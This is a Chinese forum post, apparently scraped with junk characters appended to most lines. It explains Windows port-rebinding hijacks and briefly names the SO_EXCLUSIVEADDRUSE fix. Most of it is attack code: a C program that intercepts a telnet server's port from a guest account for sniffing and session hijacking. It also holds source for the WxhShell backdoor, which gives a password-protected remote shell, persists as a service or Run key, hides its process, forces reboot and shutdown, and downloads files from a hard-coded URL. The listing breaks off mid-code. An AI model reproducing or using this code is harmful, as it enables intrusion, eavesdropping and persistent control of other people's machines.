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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C{2xHd/*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <, 3ROo76  
:UJa&$)  
  saddr.sin_family = AF_INET; ." $  
]jpu,jz:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); y,pZTlE  
}-~T<egF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )*c> |7G  
"`asF g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ![f ![l  
I7^zU3]Ul  
  这意味着什么?意味着可以进行如下的攻击: vf4{$Oag  
:6q]F<oK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Zf5`XslA.  
<'G~8tA%v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cwV]!=RtO  
<_(/X,kBK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "`[!Lz  
yUPIY:0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sKyPosnP  
)#F]G$51r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @Tfl>/%  
[=%TnT+^9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *%vwM7  
 s}onsC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J9T3nTfL  
L,; D@Xi  
  #include .@-$5Jw  
  #include ddVa.0Z!<  
  #include ~ 8aJ S,u  
  #include    c]B$i*t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X,8<oX1r  
  int main() RI2f`p8k  
  { ?|e'Gbb_  
  WORD wVersionRequested; Z/rTVAs@r  
  DWORD ret; 1 y}2+Kk  
  WSADATA wsaData; ,#W  
  BOOL val; D#S\!>m  
  SOCKADDR_IN saddr; w:' dhr':  
  SOCKADDR_IN scaddr; $BmmNn#  
  int err; PA w-6;  
  SOCKET s; _tr<}PnZ  
  SOCKET sc; 6WoAs)ZF  
  int caddsize; 6 n1rL  
  HANDLE mt; r6'UUu  
  DWORD tid;   ceGa([#!\_  
  wVersionRequested = MAKEWORD( 2, 2 ); %r)avI  
  err = WSAStartup( wVersionRequested, &wsaData ); 3?E8\^N\n  
  if ( err != 0 ) { 1{_A:<VBl  
  printf("error!WSAStartup failed!\n"); P'MY[&|mM'  
  return -1; $(Ugtimdv  
  } +jC*'7p@  
  saddr.sin_family = AF_INET; v}^5Rp&m  
   u9=SpgB#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~7!7\i,Y8\  
w#i[_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6a}"6d/sTL  
  saddr.sin_port = htons(23); (wmBjQ]B<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y,8KPg@W  
  { }B7K@Wu#  
  printf("error!socket failed!\n"); Z['\61  
  return -1; 7t9c7HLuj/  
  } l!E7A Kk8  
  val = TRUE; j<%])  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N?dvuB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Pag63njg?  
  { _B2V "p  
  printf("error!setsockopt failed!\n"); t]1ubt2W  
  return -1; :"0J=>PH:  
  } PC c|}*b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /RLq>#:h**  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :PbDU$x  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zBf-8]"^  
RnfXN)+P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *5$&`&,  
  { \F,DA"K_  
  ret=GetLastError(); ngulcv  
  printf("error!bind failed!\n"); "%8A :^1  
  return -1; xa( m5P  
  } ^C&+ ~+  
  listen(s,2); *5%*|>  
  while(1) O\;=V`z-  
  { e2$]g>  
  caddsize = sizeof(scaddr); jn9 ShF  
  //接受连接请求 f7}"lG]q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o7&4G$FX~  
  if(sc!=INVALID_SOCKET) @E`?<|B}  
  { r0m)j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s_jBu  
  if(mt==NULL) +V v+K(lh$  
  { {F*N=pSq  
  printf("Thread Creat Failed!\n"); IKvBf'%-  
  break; 1H:ea7YVU  
  } hQJWKAf,/  
  } Wf02$c0#K  
  CloseHandle(mt); w#PZu+  
  } @kngI7=E  
  closesocket(s); 7INk_2  
  WSACleanup(); ioIv=qGdiP  
  return 0; h\ ,5/ )Y  
  }   nYv#4*  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0yof u  
  { ]S8LY.Az5  
  SOCKET ss = (SOCKET)lpParam; /rF8@l  
  SOCKET sc; m>Ux`Gp+  
  unsigned char buf[4096]; >?XbU}  
  SOCKADDR_IN saddr; sV0Z  
  long num; +h[e0J|v{  
  DWORD val; 7{BnXN[  
  DWORD ret; O OlTrLL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FuP}Kec  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +}!DP~y+  
  saddr.sin_family = AF_INET; |i)lh_iN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |n P_<9[  
  saddr.sin_port = htons(23); J6|JWp  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uIP iM8(  
  { +BB0wY  
  printf("error!socket failed!\n"); , p0KLU\-  
  return -1; dt-K  
  } G j6. Iv  
  val = 100; Fn,k!q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :4;S"p  
  { wkT;a&_  
  ret = GetLastError(); ' Js?N  
  return -1; GAU!_M5N  
  } huAyjo  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N_vXYaY  
  { ce5nG0@#  
  ret = GetLastError(); ?:}Pa<D&K  
  return -1; ?iln<% G  
  } ZO7bSxAN-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ('WY5Yps  
  { RWE~&w G}  
  printf("error!socket connect failed!\n"); >~&(P_<b  
  closesocket(sc); agY5Dg7  
  closesocket(ss); 1p CkWe  
  return -1; i| xt f  
  } *CUdGI&  
  while(1) p37|zX  
  { ]18Ucf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *]!l%Uf%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fOW_h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F"BL #g66  
  num = recv(ss,buf,4096,0); STlPT5e.}  
  if(num>0) 4g!7 4a  
  send(sc,buf,num,0); u{+!& 2}k  
  else if(num==0) jM\ %$_/  
  break; no3Z\@%  
  num = recv(sc,buf,4096,0); Q [:<S/w  
  if(num>0) /| f[us-w  
  send(ss,buf,num,0); H XP;0B%4  
  else if(num==0) P!>g7X  
  break; q2Rf@nt  
  } =~",/I?  
  closesocket(ss); JjDS"hK#  
  closesocket(sc); BvI 0v:  
  return 0 ; ~>w:;M=sV8  
  } ++k J\N{  
AY@k-4  
r]-+bR  
========================================================== ax]9QrA  
wKLN:aRF2  
下边附上一个代码,,WXhSHELL :W%4*-FP  
,L~snR'w  
========================================================== th9 0O|;  
a^x  0 l  
#include "stdafx.h" d>~`j8,B  
acy"ct*I  
#include <stdio.h> iI}nW  
#include <string.h> 6<+8}`@B>G  
#include <windows.h> 0*{@E%9  
#include <winsock2.h> r=|vad$  
#include <winsvc.h> $ JuLAqq  
#include <urlmon.h> hN}5u"pS  
#e*$2+`[A  
#pragma comment (lib, "Ws2_32.lib") lvG3<ls0K$  
#pragma comment (lib, "urlmon.lib") W >Kp\tD  
;wp W2%&  
#define MAX_USER   100 // 最大客户端连接数 BHIM'24bp  
#define BUF_SOCK   200 // sock buffer *eMLbU7  
#define KEY_BUFF   255 // 输入 buffer ?SB5b,  
ruWye1X;  
#define REBOOT     0   // 重启 "hfw9Qm  
#define SHUTDOWN   1   // 关机 we @Yw6<  
&4[<F"W>47  
#define DEF_PORT   5000 // 监听端口 <)"iL4 kDI  
Scf.4~H 0  
#define REG_LEN     16   // 注册表键长度 x vHOY:  
#define SVC_LEN     80   // NT服务名长度 qP@L(_=g  
:E}6S  
// 从dll定义API x={kjym L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w:n(pLc<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (1OW6xtfG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;Kt'Sit  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EwC5[bRjUp  
&qG? [R{  
// wxhshell配置信息 n&3iz05}  
struct WSCFG { -<H ri5  
  int ws_port;         // 监听端口 ]Pz|Oi+]  
  char ws_passstr[REG_LEN]; // 口令 ^"PfDTyA  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8a_ UxB  
  char ws_regname[REG_LEN]; // 注册表键名 Z^6A_:]j  
  char ws_svcname[REG_LEN]; // 服务名 wbn^R'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -wJ   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N;e}dwh&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +!D=SnBGs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "tEj`eR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PEK.Kt\M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xzuPie\  
f6@^ Mg  
}; c8 H9_6  
7g {g}  
// default Wxhshell configuration mrw]yu;2<n  
struct WSCFG wscfg={DEF_PORT, vsOdp:Yp9!  
    "xuhuanlingzhe", "TEBByO'  
    1, m 4wPuW  
    "Wxhshell", U&tfl/  
    "Wxhshell", @&/s~3  
            "WxhShell Service", %g2/ o^c*  
    "Wrsky Windows CmdShell Service", u<BHf@AI  
    "Please Input Your Password: ", [i2A{(x  
  1, 1jR=h7^=  
  "http://www.wrsky.com/wxhshell.exe", GLbc/qs  
  "Wxhshell.exe" PmuEL@'^ U  
    }; Nv}U/$$S  
5 ]A$P\7~1  
// 消息定义模块 H8(0. IR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FY_avW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a>-}\GXTA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @]?? +f}#  
char *msg_ws_ext="\n\rExit."; ,I 9][_  
char *msg_ws_end="\n\rQuit."; _stI?fz*4k  
char *msg_ws_boot="\n\rReboot..."; #`fi2K&]j  
char *msg_ws_poff="\n\rShutdown..."; lq78gOg{  
char *msg_ws_down="\n\rSave to "; )&b}^1  
2tg/S=t}  
char *msg_ws_err="\n\rErr!"; dXf]G6  
char *msg_ws_ok="\n\rOK!"; $9LGdKZ_D  
.b!OZ  
char ExeFile[MAX_PATH]; _RA{SO  
int nUser = 0; WcV\kemf  
HANDLE handles[MAX_USER]; /6i Tq^.%  
int OsIsNt; 1 Ovx$ *  
kx;xO>dC  
SERVICE_STATUS       serviceStatus; 0XBBA0t q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CWobvR)e  
/h}wM6pg  
// 函数声明 Y%n{`9=  
int Install(void); 46Y7HTwE  
int Uninstall(void); u`L!za7fi  
int DownloadFile(char *sURL, SOCKET wsh); &CxyP_  
int Boot(int flag); {Kq*5Aq8  
void HideProc(void); pUCEYR  
int GetOsVer(void); #2ZrdD"5kQ  
int Wxhshell(SOCKET wsl); di)noQXkB-  
void TalkWithClient(void *cs); ;Wfv+]n9  
int CmdShell(SOCKET sock); ^-c si   
int StartFromService(void); (F4dFh  
int StartWxhshell(LPSTR lpCmdLine); j:de}!wc  
z$8e6*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5W:Gl?$S}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0s+rd&  
^Xt]wl*]+  
// 数据结构和表定义 //'xR8Z  
SERVICE_TABLE_ENTRY DispatchTable[] = ]/<Qn-BbU  
{ fxtYo,;$  
{wscfg.ws_svcname, NTServiceMain}, !)51v {  
{NULL, NULL} $fj"*   
}; Gr"2G,,VI  
D/!eov4"  
// 自我安装 bCY^.S-  
int Install(void) p[k9C$@e}  
{  HPd+Bd  
  char svExeFile[MAX_PATH]; yo Q?lh  
  HKEY key; +gD)Yd  
  strcpy(svExeFile,ExeFile); q9a wzj  
B 3,ig9  
// 如果是win9x系统,修改注册表设为自启动 8' g*}[  
if(!OsIsNt) { =%nqMV(y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6wvhvMkS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {*5;:QnT  
  RegCloseKey(key); /K Jx n6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lG[ )8!:+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yf2+@E  
  RegCloseKey(key); !tFU9Zt  
  return 0; MCWG*~f  
    } _>:=<xyOq  
  } C}DG'z9  
} 7$dc? K  
else { WHD/s  
x x`8>2T#e  
// 如果是NT以上系统,安装为系统服务 GWkJ/EX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o._#=7|(  
if (schSCManager!=0) ; HLMU36q  
{ BoiIr[ (  
  SC_HANDLE schService = CreateService k @/SeE  
  ( s%TO(vT  
  schSCManager, ?\p%Mx?   
  wscfg.ws_svcname, |Nx!g fU  
  wscfg.ws_svcdisp, EA@$^e[  
  SERVICE_ALL_ACCESS, m LxwJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IkXKt8`YVA  
  SERVICE_AUTO_START, u>i+R"hi"  
  SERVICE_ERROR_NORMAL, kk\zZC <  
  svExeFile, Xy8ie:D  
  NULL, R7;rBEt8  
  NULL, [{!j9E?(  
  NULL, $v}8lBCr3  
  NULL, i\R\bv[9  
  NULL kKk |@  
  ); 17[t_T&Ak9  
  if (schService!=0) @aPu}Hi  
  { VFaK>gQ  
  CloseServiceHandle(schService); D!E 9@*Lf  
  CloseServiceHandle(schSCManager); >p#d;wK4_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KL\=:iWA  
  strcat(svExeFile,wscfg.ws_svcname); L"vG:Mq@D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'N,NG$G2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j]F3[gpc  
  RegCloseKey(key); k-PRV8WO  
  return 0; U!UX"r  
    } A5H8+gATK  
  } cW|Zgz8vv  
  CloseServiceHandle(schSCManager); RknSWuFKt  
} snzH}$Ls  
} hE`%1j2(  
exMPw ;8  
return 1; ghd[G}  
} ]` Gz_e  
i2R]lE8  
// 自我卸载 (IQ L`3f%  
int Uninstall(void) cw-JGqLx  
{ R#^pNJN  
  HKEY key; 6!PX! UkF  
GQAg ex)D  
if(!OsIsNt) { d1_*!LW$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0J,d9a [1  
  RegDeleteValue(key,wscfg.ws_regname); Evgq}3  
  RegCloseKey(key); ~=gH7V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f6A['<%o  
  RegDeleteValue(key,wscfg.ws_regname); sEi.f(WA  
  RegCloseKey(key); EC\:uK  
  return 0; Y`p&*O  
  } Q 6<Uui w  
} HQj4h]O#  
}  0 9'o  
else { "JGig!9  
C^v -&*v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l]=$<  
if (schSCManager!=0) |Dpfh  
{ Q"_T040B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dllf~:b  
  if (schService!=0) 0s[3:bZ\Ia  
  { hf5SpwxLiH  
  if(DeleteService(schService)!=0) { gxtbu$  
  CloseServiceHandle(schService); ON! G{=7  
  CloseServiceHandle(schSCManager); iz5wUyeg  
  return 0; 9uoj3Rh<  
  } 'U Cx^-  
  CloseServiceHandle(schService); AQU: 0  
  } ]KT,s].  
  CloseServiceHandle(schSCManager); epyYo&x}  
} l:}4 6%  
} f=Y9a$.:M  
pC Is+1O/  
return 1; `;GGuJb \  
} LZ dNG\-  
hvZR4|k>  
// 从指定url下载文件 @x ]^blq  
int DownloadFile(char *sURL, SOCKET wsh) l[{}ZKZ  
{ glIIJ5d|,  
  HRESULT hr; XmR5dLc8  
char seps[]= "/"; 8nR,GW\  
char *token; wajhFBJ  
char *file; C{^@.8:  
char myURL[MAX_PATH]; xK'IsMo[  
char myFILE[MAX_PATH]; ]iX$p~riH  
zt}p-U2I  
strcpy(myURL,sURL); feHAZ.8rp+  
  token=strtok(myURL,seps); 6[7k}9`alz  
  while(token!=NULL) ?!-im*~w  
  { Wb xksh:)Q  
    file=token; T6#GlO)8)  
  token=strtok(NULL,seps); 63$m& ]x  
  } h]9^bX__Z  
Z_+No :F7I  
GetCurrentDirectory(MAX_PATH,myFILE); _"`h~jB  
strcat(myFILE, "\\"); (DAJ(r~  
strcat(myFILE, file); 3/05ee;|  
  send(wsh,myFILE,strlen(myFILE),0); @kymL8"2w  
send(wsh,"...",3,0); P2F>iK#U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OSk9Eb4ld  
  if(hr==S_OK) B[50{;X  
return 0; INpub 5  
else E~^'w.1  
return 1; !CKUkoX  
4pv :u:Z  
} ;_\P;s  
k*^W lCZ3  
// 系统电源模块 BZ9iy~  
int Boot(int flag) {c; 3$  
{ <X*8Xzmv  
  HANDLE hToken; Zlo,#q  
  TOKEN_PRIVILEGES tkp; W^f#xrq>  
wt;aO_l  
  if(OsIsNt) { (=9&"UH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <& iBR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z ngJ9js  
    tkp.PrivilegeCount = 1; bk]|C!7$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `m^OnH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^cm^JyS)  
if(flag==REBOOT) { Ip0q&i<6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s=4.Ovd\  
  return 0; #C^m>o~R  
} 3I+pe;  
else { wQT'~'kL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >^&+,*tsS4  
  return 0; 2X_ef  
} .&y1gh!=  
  } [eRMlSXA  
  else { xJCpWU3wM  
if(flag==REBOOT) { ,H*3_c&Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }|,y`ui\  
  return 0; d/1XL[&  
} `Z-`-IL  
else { 3QpT O,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fm "$W^H  
  return 0; q]x@q  
} Cmj)CJ-  
} H^G*5EQK  
lS^0*(Y  
return 1; -bwl~3ZTi  
} Lg1Usy%  
.FUE F)  
// win9x进程隐藏模块 7 <xxOY>y  
void HideProc(void) fvD wg  
{ (P?9Jct  
ry'(m M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y~Rwsx  
  if ( hKernel != NULL ) L6^h3*JyD  
  { J}JnJV8|G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S4w/ kml3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,P}c92;  
    FreeLibrary(hKernel); |($pXVLH`  
  } o&]qjFo\m  
e\<I:7%Rg  
return; z2V!u\It  
} ^|Y!NHYH$Z  
p.G7Cs  
// 获取操作系统版本 om1 / 9  
int GetOsVer(void) U&6f}=v C  
{ (I$hw"%&  
  OSVERSIONINFO winfo; )l=j,4nn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zy|hf<V  
  GetVersionEx(&winfo); D)Zv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P.o W#Je  
  return 1; yC[}gHv  
  else 5GKz@as8  
  return 0; (< h,R@:  
} *b&|  
f =Nm2(e  
// 客户端句柄模块 yZ`\.GgC^&  
int Wxhshell(SOCKET wsl) bu]bfnYi9  
{ CV k8MA  
  SOCKET wsh; V|7 c dX#H  
  struct sockaddr_in client; SC#  
  DWORD myID; B-RaAiE@  
z8o Sh t`+  
  while(nUser<MAX_USER) u>BR WN  
{ TtzB[F  
  int nSize=sizeof(client); ]?^mb n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !59q@M ya[  
  if(wsh==INVALID_SOCKET) return 1; 'G&w[8mqY  
=#W6+=YN8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :0J;^@   
if(handles[nUser]==0) R7#B_^ $  
  closesocket(wsh); 7*sB"_U2  
else >1YJETysO  
  nUser++; ?n}L+|  
  } o!Y7y1$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b<%6aRC\  
k3&Wv  
  return 0; y&UsSS  
} |g~.]2az  
@sP?@< C  
// 关闭 socket hUqIjcuL4  
void CloseIt(SOCKET wsh) +BESO  
{ `,J\E<4J  
closesocket(wsh); @>:r'Fmu-  
nUser--; /0A}N$?>:  
ExitThread(0); `U(FdT  
} (f7R~le  
env]*gx+=  
// 客户端请求句柄 Ls( &.  
void TalkWithClient(void *cs) vForj*Xo  
{ u-D%: lz85  
V V<Zl  
  SOCKET wsh=(SOCKET)cs; PAJt M  
  char pwd[SVC_LEN]; 6]M(ElV1H  
  char cmd[KEY_BUFF]; {$Qw]?Yv  
char chr[1]; HUZI7rC[=)  
int i,j; p~qdkA<  
n*uT  
  while (nUser < MAX_USER) { ol-U%J  
*5u0`k^j  
if(wscfg.ws_passstr) { 'vBuQinn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^)TZHc2a[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *4]}_ .rG#  
  //ZeroMemory(pwd,KEY_BUFF); X-=49)  
      i=0; >HyZ~M  
  while(i<SVC_LEN) { cJMp`DQzc  
W2'u]1bs  
  // 设置超时 `Ps&N^[  
  fd_set FdRead; %AaZc=a[c  
  struct timeval TimeOut; r[K%8Y8`  
  FD_ZERO(&FdRead); ",Mr+;;:[  
  FD_SET(wsh,&FdRead); .r 4 *?>  
  TimeOut.tv_sec=8; Kqm2TMO]>V  
  TimeOut.tv_usec=0; !ap}+_IA7^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9!; /+P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1N,</<"  
>4 VN1 ^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6o6I]QL  
  pwd=chr[0]; K|]/BjB/  
  if(chr[0]==0xd || chr[0]==0xa) { EV/DJ$C }  
  pwd=0; }Y:V&4DW  
  break; O |!cPB:  
  } f}=>c|Do  
  i++; {u~JR(C:  
    } #Pt_<?JtV  
F$M^}vsjGx  
  // 如果是非法用户,关闭 socket ^,}1^?*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IK1'" S|  
} 2{|Z?3FJ^  
8 kvF~d ;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x n?$@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F/V -@SF  
6 dgwsl~  
while(1) { xIA]5@;a  
AO, o|,#4F  
  ZeroMemory(cmd,KEY_BUFF); B`|f"+.  
K @RGvP  
      // 自动支持客户端 telnet标准   qF\w#nG  
  j=0; BMug7xl"  
  while(j<KEY_BUFF) { sKCYGt$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `R;i1/  
  cmd[j]=chr[0]; u8.F_'`z  
  if(chr[0]==0xa || chr[0]==0xd) { ,BUrZA2\U$  
  cmd[j]=0; > a;iX.K  
  break; I3HO><o f  
  } 4O<sE@X  
  j++; p]0`rf!|  
    } !0dQfj^_  
rGQ2 ve  
  // 下载文件 OClG dFJ|  
  if(strstr(cmd,"http://")) {  & .0A%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &(oA/jFQ  
  if(DownloadFile(cmd,wsh)) )(0if0D4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ge_fU'F  
  else tn#cVB3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w? >f:2(=[  
  } l`.z^+!8@  
  else { 4GbfA .u  
 9u^M{6  
    switch(cmd[0]) { qg{gCG  
  "\i H/  
  // 帮助 M!+J[q  
  case '?': { ^3[_4av  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NB1KsvD{  
    break; ]!ox2m_U  
  }  $TfB72  
  // 安装 0N^+d,Xt.  
  case 'i': { Vbt!, 2_)  
    if(Install()) .u>[m.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G<M0KU (  
    else vn+XY =Qnr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =WjHf8v;  
    break; +q'\rpt  
    } w]t'2p-'  
  // 卸载 ?HJh;96B  
  case 'r': { KF zI27r  
    if(Uninstall()) PJiU2Y33  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u8T@W}FX  
    else r[4n2Mys  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s EFQ8S  
    break; dpTsTU!\  
    } M#; ks9  
  // 显示 wxhshell 所在路径 a;t}'GQGk  
  case 'p': { u [._RA  
    char svExeFile[MAX_PATH]; 3("C'(W  
    strcpy(svExeFile,"\n\r"); PFuhvw~?  
      strcat(svExeFile,ExeFile); JD#x+~pb,8  
        send(wsh,svExeFile,strlen(svExeFile),0); '|DW#l\n  
    break; gom!dB0J  
    } 3Do0?~n  
  // 重启 J-hJqR*;K  
  case 'b': { G9f6'5 O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i'm<{ v  
    if(Boot(REBOOT)) !HvA5'|:}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?qNU*d  
    else { #B;P4n3  
    closesocket(wsh); !l9{R8m>eJ  
    ExitThread(0); f`n4'dG  
    } I.n,TJoz4J  
    break; j{%;n40$  
    } 2)n`Bd  
  // 关机 .\ ;'>qy  
  case 'd': { rP:g`?*V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0G+Q^]0  
